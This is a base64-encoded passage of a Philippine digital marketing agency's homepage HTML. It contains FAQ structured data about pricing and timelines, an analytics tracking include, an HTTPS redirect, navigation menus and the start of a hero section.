2VzIGl0IGNvc3QgdG8gaGlyZSBhIGRpZ2l0YWwgbWFya2V0aW5nIGFnZW5jeSBpbiB0aGUgUGhpbGlwcGluZXM\/IiwKICAgICAgICAgICJhY2NlcHRlZEFuc3dlciI6IHsKICAgICAgICAgICAgIkB0eXBlIjogIkFuc3dlciIsCiAgICAgICAgICAgICJ0ZXh0IjogIk91ciBwcmljaW5nIGRlcGVuZHMgb24gdGhlIHNjb3BlIG9mIHNlcnZpY2VzLCBjYW1wYWlnbiBjb21wbGV4aXR5LCBhbmQgeW91ciBidXNpbmVzcyBvYmplY3RpdmVzLiBXZSBvZmZlciBmbGV4aWJsZSBwYWNrYWdlcyBzdGFydGluZyBmcm9tIHByb2plY3QtYmFzZWQgZW5nYWdlbWVudHMgdG8gbW9udGhseSByZXRhaW5lcnMuIFBoaWxpcHBpbmUtYmFzZWQgYWdlbmNpZXMgdHlwaWNhbGx5IG9mZmVyIDQwLTYwJSBjb3N0IHNhdmluZ3MgY29tcGFyZWQgdG8gVVMgb3IgRXVyb3BlYW4gYWdlbmNpZXMgd2hpbGUgZGVsaXZlcmluZyB0aGUgc2FtZSBxdWFsaXR5IG9mIHdvcmsuIENvbnRhY3QgdXMgZm9yIGEgY3VzdG9taXplZCBxdW90ZSBiYXNlZCBvbiB5b3VyIG5lZWRzLiIKICAgICAgICAgIH0KICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJRdWVzdGlvbiIsCiAgICAgICAgICAibmFtZSI6ICJIb3cgbG9uZyBkb2VzIGl0IHRha2UgdG8gc2VlIHJlc3VsdHMgZnJvbSBkaWdpdGFsIG1hcmtldGluZz8iLAogICAgICAgICAgImFjY2VwdGVkQW5zd2VyIjogewogICAgICAgICAgICAiQHR5cGUiOiAiQW5zd2VyIiwKICAgICAgICAgICAgInRleHQiOiAiVGltZWxpbmVzIHZhcnkgYnkgY2hhbm5lbC4gUFBDIGNhbXBhaWducyBjYW4gZ2VuZXJhdGUgcmVzdWx0cyB3aXRoaW4gZGF5cyBvZiBsYXVuY2gsIHdoaWxlIFNFTyB0eXBpY2FsbHkgdGFrZXMgMy02IG1vbnRocyB0byBzaG93IHNpZ25pZmljYW50IGltcHJvdmVtZW50cyBpbiBvcmdhbmljIHJhbmtpbmdzIGFuZCB0cmFmZmljLiBTb2NpYWwgbWVkaWEgZ3Jvd3RoIGlzIHVzdWFsbHkgdmlzaWJsZSB3aXRoaW4gMS0zIG1vbnRocy4gV2Ugc2V0IHJlYWxpc3RpYyBleHBlY3RhdGlvbnMgdXBmcm9udCBhbmQgcHJvdmlkZSByZWd1bGFyIHByb2dyZXNzIHVwZGF0ZXMgc28geW91IGFsd2F5cyBrbm93IHdoZXJlIHRoaW5ncyBzdGFuZC4iCiAgICAgICAgICB9CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiUXVlc3Rpb24iLAogICAgICAgICAgIm5hbWUiOiAiRG8geW91IHdvcmsgd2l0aCBpbnRlcm5hdGlvbmFsIGNsaWVudHMgb3Igb25seSBQaGlsaXBwaW5lLWJhc2VkIGJ1c2luZXNzZXM\/IiwKICAgICAgICAgICJhY2NlcHRlZEFuc3dlciI6IHsKICAgICAgICAgICAgIkB0eXBlIjogIkFuc3dlciIsCiAgICAgICAgICAgICJ0ZXh0IjogIldlIHdvcmsgd2l0aCBjbGllbnRzIHdvcmxkd2lkZS4gQSBzaWduaWZpY2FudCBwb3J0aW9uIG9mIG91ciBjbGllbnQgYmFzZSBpcyBsb2NhdGVkIGluIHRoZSBVbml0ZWQgU3RhdGVzLCBBdXN0cmFsaWEsIHRoZSBVSywgYW5kIENhbmFkYS4gT3VyIHRlYW0gb3BlcmF0ZXMgYWNyb3NzIG11bHRpcGxlIHRpbWUgem9uZXMgYW5kIHVzZXMgbW9kZXJuIGNvbGxhYm9yYXRpb24gdG9vbHMgdG8gZW5zdXJlIHNlYW1sZXNzIGNvbW11bmljYXRpb24gcmVnYXJkbGVzcyBvZiB5b3VyIGxvY2F0aW9uLiIKICAgICAgICAgIH0KICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJRdWVzdGlvbiIsCiAgICAgICAgICAibmFtZSI6ICJIb3cgZG8geW91IG1lYXN1cmUgdGhlIHN1Y2Nlc3Mgb2YgYSBkaWdpdGFsIG1hcmtldGluZyBjYW1wYWlnbj8iLAogICAgICAgICAgImFjY2VwdGVkQW5zd2VyIjogewogICAgICAgICAgICAiQHR5cGUiOiAiQW5zd2VyIiwKICAgICAgICAgICAgInRleHQiOiAiV2UgdHJhY2sgYSB3aWRlIHJhbmdlIG9mIGtleSBwZXJmb3JtYW5jZSBpbmRpY2F0b3JzIChLUElzKSBpbmNsdWRpbmcgb3JnYW5pYyB0cmFmZmljLCBrZXl3b3JkIHJhbmtpbmdzLCBjbGljay10aHJvdWdoIHJhdGVzLCBjb252ZXJzaW9uIHJhdGVzLCBjb3N0IHBlciBhY3F1aXNpdGlvbiwgcmV0dXJuIG9uIGFkIHNwZW5kIChST0FTKSwgYW5kIG92ZXJhbGwgcmV2ZW51ZSBncm93dGguIFlvdSByZWNlaXZlIGRldGFpbGVkIG1vbnRobHkgcmVwb3J0cyB3aXRoIHRyYW5zcGFyZW50IGRhdGEgYW5kIGFjdGlvbmFibGUgcmVjb21tZW5kYXRpb25zLiIKICAgICAgICAgIH0KICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJRdWVzdGlvbiIsCiAgICAgICAgICAibmFtZSI6ICJDYW4geW91IGhlbHAgd2l0aCB3ZWJzaXRlIGRlc2lnbiBhbmQgZGV2ZWxvcG1lbnQgYXMgd2VsbD8iLAogICAgICAgICAgImFjY2VwdGVkQW5zd2VyIjogewogICAgICAgICAgICAiQHR5cGUiOiAiQW5zd2VyIiwKICAgICAgICAgICAgInRleHQiOiAiWWVzLCB3ZSBvZmZlciB3ZWJzaXRlIGRlc2lnbiBhbmQgZGV2ZWxvcG1lbnQgc2VydmljZXMgdGhhdCBjb21wbGVtZW50IG91ciBkaWdpdGFsIG1hcmtldGluZyBzdHJhdGVnaWVzLiBIYXZpbmcgeW91ciBtYXJrZXRpbmcgYWdlbmN5IGhhbmRsZSBib3RoIGVuc3VyZXMgdGhhdCB5b3VyIHdlYnNpdGUgaXMgZnVsbHkgb3B0aW1pemVkIGZvciBjb252ZXJzaW9ucywgcGFnZSBzcGVlZCwgbW9iaWxlIHJlc3BvbnNpdmVuZXNzLCBhbmQgU0VPIGZyb20gdGhlIGdyb3VuZCB1cC4iCiAgICAgICAgICB9CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiUXVlc3Rpb24iLAogICAgICAgICAgIm5hbWUiOiAiV2hhdCBtYWtlcyB5b3VyIGFnZW5jeSBkaWZmZXJlbnQgZnJvbSBvdGhlciBkaWdpdGFsIG1hcmtldGluZyBhZ2VuY2llcz8iLAogICAgICAgICAgImFjY2VwdGVkQW5zd2VyIjogewogICAgICAgICAgICAiQHR5cGUiOiAiQW5zd2VyIiwKICAgICAgICAgICAgInRleHQiOiAiVGhyZWUgdGhpbmdzIHNldCB1cyBhcGFydDogRmlyc3QsIHdlJ3JlIDEwMCUgZGF0YS1kcml2ZW4g4oCUIGV2ZXJ5IGRlY2lzaW9uIGlzIGJhY2tlZCBieSBhbmFseXRpY3MsIG5vdCBndWVzc3dvcmsuIFNlY29uZCwgd2UgcHJvdmlkZSBkZWRpY2F0ZWQgYWNjb3VudCBtYW5hZ2VycyB3aG8gdW5kZXJzdGFuZCB5b3VyIGJ1c2luZXNzIGluc2lkZSBhbmQgb3V0LiBUaGlyZCwgd2UgZm9jdXMgb24gUk9JLCBub3QgdmFuaXR5IG1ldHJpY3MuIE91ciBnb2FsIGlzIHRvIGdyb3cgeW91ciByZXZlbnVlLCBub3QganVzdCB5b3VyIGZvbGxvd2VyIGNvdW50LiIKICAgICAgICAgIH0KICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJRdWVzdGlvbiIsCiAgICAgICAgICAibmFtZSI6ICJXaGF0IHByaWNpbmcgcGFja2FnZXMgZG8geW91IG9mZmVyIGZvciBkaWdpdGFsIG1hcmtldGluZyBzZXJ2aWNlcz8iLAogICAgICAgICAgImFjY2VwdGVkQW5zd2VyIjogewogICAgICAgICAgICAiQHR5cGUiOiAiQW5zd2VyIiwKICAgICAgICAgICAgInRleHQiOiAiV2Ugb2ZmZXIgdGhyZWUgbWFpbiBwcmljaW5nIHRpZXJzIHRvIGFjY29tbW9kYXRlIGJ1c2luZXNzZXMgb2YgYWxsIHNpemVzLiBPdXIgU3RhcnRlciBwYWNrYWdlIGlzIGlkZWFsIGZvciBzbWFsbCBidXNpbmVzc2VzIGFuZCBzdGFydHVwcyBsb29raW5nIHRvIGVzdGFibGlzaCB0aGVpciBvbmxpbmUgcHJlc2VuY2UuIE91ciBHcm93dGggcGFja2FnZSBpcyBkZXNpZ25lZCBmb3IgbWlkLXNpemVkIGNvbXBhbmllcyByZWFkeSB0byBzY2FsZSB0aGVpciBkaWdpdGFsIGVmZm9ydHMgYWNyb3NzIG11bHRpcGxlIGNoYW5uZWxzLiBPdXIgRW50ZXJwcmlzZSBwYWNrYWdlIHByb3ZpZGVzIGEgZnVsbHkgY3VzdG9taXplZCwgb21uaWNoYW5uZWwgc3RyYXRlZ3kgd2l0aCBkZWRpY2F0ZWQgc2VuaW9yIHN0cmF0ZWdpc3RzLiBBbGwgcGFja2FnZXMgaW5jbHVkZSBtb250aGx5IHJlcG9ydGluZywgc3RyYXRlZ3kgY2FsbHMsIGFuZCBjb250aW51b3VzIG9wdGltaXphdGlvbi4iCiAgICAgICAgICB9CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiUXVlc3Rpb24iLAogICAgICAgICAgIm5hbWUiOiAiV2hhdCBpcyB0aGUgdHlwaWNhbCB0dXJuYXJvdW5kIHRpbWUgZm9yIGxhdW5jaGluZyBhIGNhbXBhaWduPyIsCiAgICAgICAgICAiYWNjZXB0ZWRBbnN3ZXIiOiB7CiAgICAgICAgICAgICJAdHlwZSI6ICJBbnN3ZXIiLAogICAgICAgICAgICAidGV4dCI6ICJPdXIgb25ib2FyZGluZyBhbmQgY2FtcGFpZ24gbGF1bmNoIHByb2Nlc3MgdHlwaWNhbGx5IHRha2VzIDItMyB3ZWVrcy4gRHVyaW5nIHRoZSBmaXJzdCB3ZWVrLCB3ZSBjb25kdWN0IG91ciBkaXNjb3ZlcnkgYXVkaXQgYW5kIGdhdGhlciBhbGwgbmVjZXNzYXJ5IGFzc2V0cyBhbmQgYWNjZXNzIGNyZWRlbnRpYWxzLiBXZWVrIHR3byBpcyBkZWRpY2F0ZWQgdG8gc3RyYXRlZ3kgZGV2ZWxvcG1lbnQsIGNvbnRlbnQgY3JlYXRpb24sIGFuZCBjYW1wYWlnbiBzZXR1cC4gQnkgd2VlayB0aHJlZSwgY2FtcGFpZ25zIGFyZSBsaXZlIGFuZCBiZWluZyBhY3RpdmVseSBtb25pdG9yZWQuIEZvciB1cmdlbnQgcHJvamVjdHMsIHdlIG9mZmVyIGFuIGV4cGVkaXRlZCBsYXVuY2ggdHJhY2sgdGhhdCBjYW4gZ2V0IGNhbXBhaWducyBydW5uaW5nIHdpdGhpbiA3LTEwIGJ1c2luZXNzIGRheXMuIgogICAgICAgICAgfQogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogIlF1ZXN0aW9uIiwKICAgICAgICAgICJuYW1lIjogIkRvIHlvdSByZXF1aXJlIGxvbmctdGVybSBjb250cmFjdHMgb3IgY2FuIEkgY2FuY2VsIGFueXRpbWU\/IiwKICAgICAgICAgICJhY2NlcHRlZEFuc3dlciI6IHsKICAgICAgICAgICAgIkB0eXBlIjogIkFuc3dlciIsCiAgICAgICAgICAgICJ0ZXh0IjogIldlIGJlbGlldmUgaW4gZWFybmluZyB5b3VyIGJ1c2luZXNzIGV2ZXJ5IG1vbnRoLCBub3QgbG9ja2luZyB5b3UgaW50byByaWdpZCBjb250cmFjdHMuIFdoaWxlIHdlIHJlY29tbWVuZCBhIG1pbmltdW0gMy1tb250aCBlbmdhZ2VtZW50IGZvciBTRU8gY2FtcGFpZ25zIHRvIGFsbG93IGVub3VnaCB0aW1lIGZvciBtZWFuaW5nZnVsIHJlc3VsdHMsIG91ciBQUEMgYW5kIHNvY2lhbCBtZWRpYSBzZXJ2aWNlcyBhcmUgYXZhaWxhYmxlIG9uIGEgbW9udGgtdG8tbW9udGggYmFzaXMgYWZ0ZXIgYW4gaW5pdGlhbCAzMC1kYXkgc2V0dXAgcGVyaW9kLiIKICAgICAgICAgIH0KICAgICAgICB9CiAgICAgIF0KICAgIH0KICAgIDwvc2NyaXB0PgogIAogIDxzY3JpcHQgYXN5bmMgZGVmZXIgc3JjPSdodHRwczovL2FwcC52aXNpdG9ydHJhY2tpbmcuY29tL2Fzc2V0cy9qcy90cmFjZXIuanMnPjwvc2NyaXB0Pgo8c2NyaXB0PgpmdW5jdGlvbiBpbml0X3RyYWNlcigpIHsgCiAgIHZhciB0cmFjZXIgPSBuZXcgVHJhY2VyKHsgIAogICB3ZWJzaXRlSWQgOiAiODE2MzRhMjYtZWU5ZC00Y2ZjLTk3NDctNWU5ZTQxZjg5MTZjIiwgIAogICBhc3luYyA6IHRydWUsIAogICBkZWJ1ZyA6IGZhbHNlIH0pOyAKIH0gCiA8L3NjcmlwdD4KICA8L2hlYWQ+CiAgPGJvZHk+CiAgICA8c2NyaXB0PgogICAgICBpZihsb2NhdGlvbi5wcm90b2NvbD09PSdodHRwOicmJmxvY2F0aW9uLmhvc3RuYW1lIT09J2xvY2FsaG9zdCcpe2xvY2F0aW9uLnJlcGxhY2UoJ2h0dHBzOi8vJytsb2NhdGlvbi5ob3N0K2xvY2F0aW9uLnBhdGhuYW1lK2xvY2F0aW9uLnNlYXJjaCtsb2NhdGlvbi5oYXNoKTt9CiAgICA8L3NjcmlwdD4KCiAgICA8IS0tIOKVkOKVkOKVkCBOQVYg4pWQ4pWQ4pWQIC0tPgogICAgPG5hdj4KICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICA8YSBocmVmPSJodHRwczovL3ByaW1lZm9sZG1lZGlhLmNvbS8iIGNsYXNzPSJsb2dvIgogICAgICAgICAgPjxpbWcgc3JjPSIvaW1hZ2VzL2xvZ28taGVhZGVyLnBuZyIgYWx0PSJQcmltZWZvbGQgTWVkaWEiCiAgICAgICAgLz48L2E+CiAgICAgICAgPGRpdiBjbGFzcz0ibmF2LWxpbmtzIj4KICAgICAgICAgIDxhIGhyZWY9Ii8iPkhvbWU8L2E+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJuYXYtZHJvcGRvd24iIGlkPSJzZXJ2aWNlc0Ryb3Bkb3duIj4KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJ0b2dnbGVEcm9wZG93bigpIj4KICAgICAgICAgICAgICBTZXJ2aWNlcyA8c3BhbiBzdHlsZT0iZm9udC1zaXplOjAuN3JlbTttYXJnaW4tbGVmdDoycHg7Ij7ilrw8L3NwYW4+CiAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJkcm9wZG93bi1tZW51Ij4KICAgICAgICAgICAgICA8YSBocmVmPSIvc2VvLXBoaWxpcHBpbmVzIj5TRU88L2E+CiAgICAgICAgICAgICAgPGEgaHJlZj0iL2Flby1nZW8tYWlvLXBoaWxpcHBpbmVzIj5BRU8vR0VPL0FJTzwvYT4KICAgICAgICAgICAgICA8YSBocmVmPSIvYWktdmlkZW8tbWFya2V0aW5nLXBoaWxpcHBpbmVzIj5BSSBWaWRlbyBNYXJrZXRpbmc8L2E+CiAgICAgICAgICAgICAgPGEgaHJlZj0iL3BwYy1waGlsaXBwaW5lcyI+UFBDIEFkdmVydGlzaW5nPC9hPgogICAgICAgICAgICAgIDxhIGhyZWY9Ii9zb2NpYWwtbWVkaWEtbWFya2V0aW5nLXBoaWxpcHBpbmVzIj5Tb2NpYWwgTWVkaWEgTWFya2V0aW5nPC9hPgogICAgICAgICAgICAgIDxhIGhyZWY9Ii9jb250ZW50LW1hcmtldGluZy1waGlsaXBwaW5lcyI+Q29udGVudCBNYXJrZXRpbmc8L2E+CiAgICAgICAgICAgICAgPGEgaHJlZj0iL2NvbnZlcnNpb24tcmF0ZS1vcHRpbWl6YXRpb24tcGhpbGlwcGluZXMiPkNSTzwvYT4KICAgICAgICAgICAgICA8YSBocmVmPSIvd2ViLWRldmVsb3BtZW50LXBoaWxpcHBpbmVzIj5XZWIgRGV2ZWxvcG1lbnQ8L2E+CiAgICAgICAgICAgICAgPGEgaHJlZj0iL2dyYXBoaWMtZGVzaWduLXBoaWxpcHBpbmVzIj5HcmFwaGljIERlc2lnbjwvYT4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICAgIDxhIGhyZWY9Ii9wcmljaW5nIj5QcmljaW5nPC9hPgogICAgICAgICAgPGEgaHJlZj0iI2ZhcSI+RkFRPC9hPgogICAgICAgICAgPGEgaHJlZj0iL2NvbnRhY3QiPkNvbnRhY3Q8L2E+CiAgICAgICAgICA8YSBocmVmPSIvY29udGFjdCIgY2xhc3M9ImJ0bi1wcmltYXJ5Ij5HZXQgU3RhcnRlZDwvYT4KICAgICAgICA8L2Rpdj4KICAgICAgICA8YnV0dG9uIGNsYXNzPSJoYW1idXJnZXIiIG9uY2xpY2s9InRvZ2dsZU1lbnUoKSIgYXJpYS1sYWJlbD0iVG9nZ2xlIG1lbnUiPgogICAgICAgICAgPHNwYW4+PC9zcGFuPjxzcGFuPjwvc3Bhbj48c3Bhbj48L3NwYW4+CiAgICAgICAgPC9idXR0b24+CiAgICAgIDwvZGl2PgogICAgPC9uYXY+CiAgICA8ZGl2IGNsYXNzPSJtb2JpbGUtbWVudSIgaWQ9Im1vYmlsZU1lbnUiPgogICAgICA8ZGl2IGNsYXNzPSJtb2JpbGUtaW5uZXIiPgogICAgICAgIDxhIGhyZWY9Ii8iIG9uY2xpY2s9InRvZ2dsZU1lbnUoKSI+SG9tZTwvYT4KICAgICAgICA8ZGl2PgogICAgICAgICAgPGJ1dHRvbiBjbGFzcz0ibW9iaWxlLXNlcnZpY2VzLWJ0biIgb25jbGljaz0idG9nZ2xlTW9iaWxlU2VydmljZXMoKSI+CiAgICAgICAgICAgIFNlcnZpY2VzIDxzcGFuIHN0eWxlPSJmb250LXNpemU6MC43cmVtO3RyYW5zaXRpb246dHJhbnNmb3JtIDAuM3M7Ij7ilrw8L3NwYW4+CiAgICAgICAgICA8L2J1dHRvbj4KICAgICAgICAgIDxkaXYgY2xhc3M9Im1vYmlsZS1zZXJ2aWNlcyIgaWQ9Im1vYmlsZVNlcnZpY2VzIj4KICAgICAgICAgICAgPGEgaHJlZj0iL3Nlby1waGlsaXBwaW5lcyIgb25jbGljaz0idG9nZ2xlTWVudSgpIj5TRU88L2E+CiAgICAgICAgICAgIDxhIGhyZWY9Ii9hZW8tZ2VvLWFpby1waGlsaXBwaW5lcyIgb25jbGljaz0idG9nZ2xlTWVudSgpIj5BRU8vR0VPL0FJTzwvYT4KICAgICAgICAgICAgPGEgaHJlZj0iL2FpLXZpZGVvLW1hcmtldGluZy1waGlsaXBwaW5lcyIgb25jbGljaz0idG9nZ2xlTWVudSgpIj5BSSBWaWRlbyBNYXJrZXRpbmc8L2E+CiAgICAgICAgICAgIDxhIGhyZWY9Ii9wcGMtcGhpbGlwcGluZXMiIG9uY2xpY2s9InRvZ2dsZU1lbnUoKSI+UFBDIEFkdmVydGlzaW5nPC9hPgogICAgICAgICAgICA8YSBocmVmPSIvc29jaWFsLW1lZGlhLW1hcmtldGluZy1waGlsaXBwaW5lcyIgb25jbGljaz0idG9nZ2xlTWVudSgpIj5Tb2NpYWwgTWVkaWEgTWFya2V0aW5nPC9hPgogICAgICAgICAgICA8YSBocmVmPSIvY29udGVudC1tYXJrZXRpbmctcGhpbGlwcGluZXMiIG9uY2xpY2s9InRvZ2dsZU1lbnUoKSI+Q29udGVudCBNYXJrZXRpbmc8L2E+CiAgICAgICAgICAgIDxhIGhyZWY9Ii9jb252ZXJzaW9uLXJhdGUtb3B0aW1pemF0aW9uLXBoaWxpcHBpbmVzIiBvbmNsaWNrPSJ0b2dnbGVNZW51KCkiPkNSTzwvYT4KICAgICAgICAgICAgPGEgaHJlZj0iL3dlYi1kZXZlbG9wbWVudC1waGlsaXBwaW5lcyIgb25jbGljaz0idG9nZ2xlTWVudSgpIj5XZWIgRGV2ZWxvcG1lbnQ8L2E+CiAgICAgICAgICAgIDxhIGhyZWY9Ii9ncmFwaGljLWRlc2lnbi1waGlsaXBwaW5lcyIgb25jbGljaz0idG9nZ2xlTWVudSgpIj5HcmFwaGljIERlc2lnbjwvYT4KICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICAgIDxhIGhyZWY9Ii9wcmljaW5nIiBvbmNsaWNrPSJ0b2dnbGVNZW51KCkiPlByaWNpbmc8L2E+CiAgICAgICAgPGEgaHJlZj0iLyNmYXEiIG9uY2xpY2s9InRvZ2dsZU1lbnUoKSI+RkFRPC9hPgogICAgICAgIDxhIGhyZWY9Ii9jb250YWN0IiBvbmNsaWNrPSJ0b2dnbGVNZW51KCkiPkNvbnRhY3Q8L2E+CiAgICAgICAgPGRpdiBjbGFzcz0ibW9iaWxlLWN0YS13cmFwIj4KICAgICAgICAgIDxhIGhyZWY9Ii9jb250YWN0IiBjbGFzcz0iYnRuLXByaW1hcnkiIG9uY2xpY2s9InRvZ2dsZU1lbnUoKSI+R2V0IFN0YXJ0ZWQ8L2E+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgICA8c2NyaXB0PgogICAgICBmdW5jdGlvbiB0b2dnbGVNZW51KCl7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ21vYmlsZU1lbnUnKS5jbGFzc0xpc3QudG9nZ2xlKCdhY3RpdmUnKTtkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcuaGFtYnVyZ2VyJykuY2xhc3NMaXN0LnRvZ2dsZSgnYWN0aXZlJyk7fWZ1bmN0aW9uIHRvZ2dsZURyb3Bkb3duKCl7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlcnZpY2VzRHJvcGRvd24nKS5jbGFzc0xpc3QudG9nZ2xlKCdvcGVuJyk7fWZ1bmN0aW9uIHRvZ2dsZU1vYmlsZVNlcnZpY2VzKCl7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ21vYmlsZVNlcnZpY2VzJykuY2xhc3NMaXN0LnRvZ2dsZSgnYWN0aXZlJyk7fWRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJyxmdW5jdGlvbihlKXt2YXIgZD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VydmljZXNEcm9wZG93bicpO2lmKGQmJiFkLmNvbnRhaW5zKGUudGFyZ2V0KSlkLmNsYXNzTGlzdC5yZW1vdmUoJ29wZW4nKTt9KTsKICAgIDwvc2NyaXB0PgoKICAgIDwhLS0g4pWQ4pWQ4pWQIEhFUk8g4pWQ4pWQ4pWQIC0tPgogICAgPHNlY3Rpb24gY2xhc3M9Imhlcm8iPgogICAgICA8ZGl2IGNsYXNzPSJoZXJvLWJnIj4KICAgICAgICA8aW1nIHNyYz0iaHR0cHM6Ly9pbWFnZXMudW5zcGxhc2guY29tL3Bob3RvLTE1MDQzODQzMDgwOTAtYzg5NGZkY2M1MzhkP3c9MTkyMCZxPTgwIiBhbHQ9IiIgYXJpYS1oaWRkZW49InRydWUiIC8+CiAgICAgICAgPGRpdiBjbGFzcz0ib3ZlcmxheSI+PC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0ib3JiIG9yYi0xIj48L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJvcmIgb3JiLTIiPjwvZGl2PgogICAgICA8L2Rpdj4KICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICA8ZGl2PgogICAgICAgICAgPGRpdiBjbGFzcz0iaGVyby1iYWRnZSBhbmltYXRlIj7inKggUGhpbGlwcGluZXMnIFJlc3VsdHMtRHJpdmVuIEFnZW5jeTwvZGl2PgogICAgICAgICAgPGgxIGNsYXNzPSJhbmltYXRlIGRlbGF5LTEiPgogICAgICAgICAgICBEaWdpdGFsIG1hcmtldGluZzxiciAvPgogICAgICAgICAgICA8c3BhbiBjbGFzcz0idW5kZXJsaW5lLXdvcmQiPmFnZW5jeTwvc3Bhbj4gaW4gdGhlPGJyIC8+CiAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJncmFkaWVudC10ZXh0Ij5QaGlsaXBwaW5lczwvc3Bhbj4KICAgICAgICAgIDwvaDE+CiAgICAgICAgICA8cCBjbGFzcz0iaGVyby1kZXNjIGFuaW1hdGUgZGVsYXktMiI+CiAgICAgICAgICAgIFNFTy9HRU8vQUVPLCBBSSBWaWRlbyBNYXJrZXRpbmcsIFBQQyAmIFdlYiBkZXZlbG9wbWVudCwgYW5kIHNvY2lhbCBzdHJhdGVnaWVzIGVuZ2luZWVyZWQgdG8gZ2VuZXJhdGUgcXVhbGlmaWVkIHRyYWZmaWMsIGNvbnZlcnQgbGVhZHMsIGFuZCBhY2NlbGVyYXRlCiAgICAgICAgICAgIHJldmVudWUuCiAgICAgICAgICA8L3A+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJoZXJvLWJ1dHRvbnMgYW5pbWF0ZSBkZWxheS0zIj4KICAgICAgICAgICAgPGEgaHJlZj0iL2NvbnRhY3QiIGNsYXNzPSJidG4taGVybyBidG4taGVyby1wcmltYXJ5Ij5HZXQgYSBGcmVlIFN0cmF0ZWd5IENhbGwg4oaSPC9hPgogICAgICAgICAgICA8YSBocmVmPSIvcHJpY2luZyIgY2xhc3M9ImJ0bi1oZXJvIGJ0bi1oZXJvLXNlY29uZGFyeSI+VmlldyBQcmljaW5nPC9hPgogICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0iaGVyby1zdGF0cy1ncmlkIGFuaW1hdGUgZGVsYXktNCI+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJoZXJvLXN0YXQtY2FyZCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXQtaWNvbiI+8J+TiDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LXZhbHVlIj5Qcm92ZW4gVHJhZmZpYyBHcm93dGg8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC1sYWJlbCI+Q29uc2lzdGVudCBpbXByb3ZlbWVudHMgaW4gb3JnYW5pYyB2aXNpYmlsaXR5IGFuZCBzZWFyY2ggcmFua2luZ3MuPC9kaXY+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICAgIDxkaXYgY2xhc3M9Imhlcm8tc3RhdC1jYXJkIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC1pY29uIj7wn5OKPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXQtdmFsdWUiPlN0cm9uZ2VyIFJPSSBmcm9tIEFkIFNwZW5kPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXQtbGFiZWwiPkNhbXBhaWducyBvcHRpbWl6ZWQgZm9yIGVmZmljaWVuY3ksIG5vdCBqdXN0IGNsaWNrcy48L2Rpdj4KICAgICAgICAgIDwvZGl2PgogICAgICAgICAgPGRpdiBjbGFzcz0iaGVyby1zdGF0LWNhcmQiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LWljb24iPuKaoTwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LXZhbHVlIj5IaWdoZXItUXVhbGl0eSBMZWFkczwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LWxhYmVsIj5TdHJhdGVnaWVzIGRlc2lnbmVkIHRvIGF0dHJhY3QgYnV5ZXJzLCBub3QganVzdCB2aXNpdG9ycy48L2Rpdj4KICAgICAgICAgIDwvZGl2PgogICAgICAgICAgPGRpdiBjbGFzcz0iaGVyby1zdGF0LWNhcmQiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LWljb24iPvCfkaU8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC12YWx1ZSI+UGFydG5lcnMgQWNyb3NzIEluZHVzdHJpZXM8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC1sYWJlbCI+RXhwZXJpZW5jZSB3b3JraW5nIHdpdGggYnJhbmRzIGZyb20gc3RhcnR1cHMgdG8gZXN0YWJsaXNoZWQgY29tcGFuaWVzLjwvZGl2PgogICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvZGl2PgogICAgICA8ZGl2IGNsYXNzPSJzY3JvbGwtaW5kaWNhdG9yIj4KICAgICAgICA8ZGl2IGNsYXNzPSJwaWxsIj48ZGl2IGNsYXNzPSJkb3QiPjwvZGl2PjwvZGl2PgogICAgICA8L2Rpdj4KICAgIDwvc2VjdGlvbj4KCiAgICA8IS0tIOKVkOKVkOKVkCBTQ1JPTExJTkcgTUFSUVVFRSDilZDilZDilZAgLS0+CiAgICA8ZGl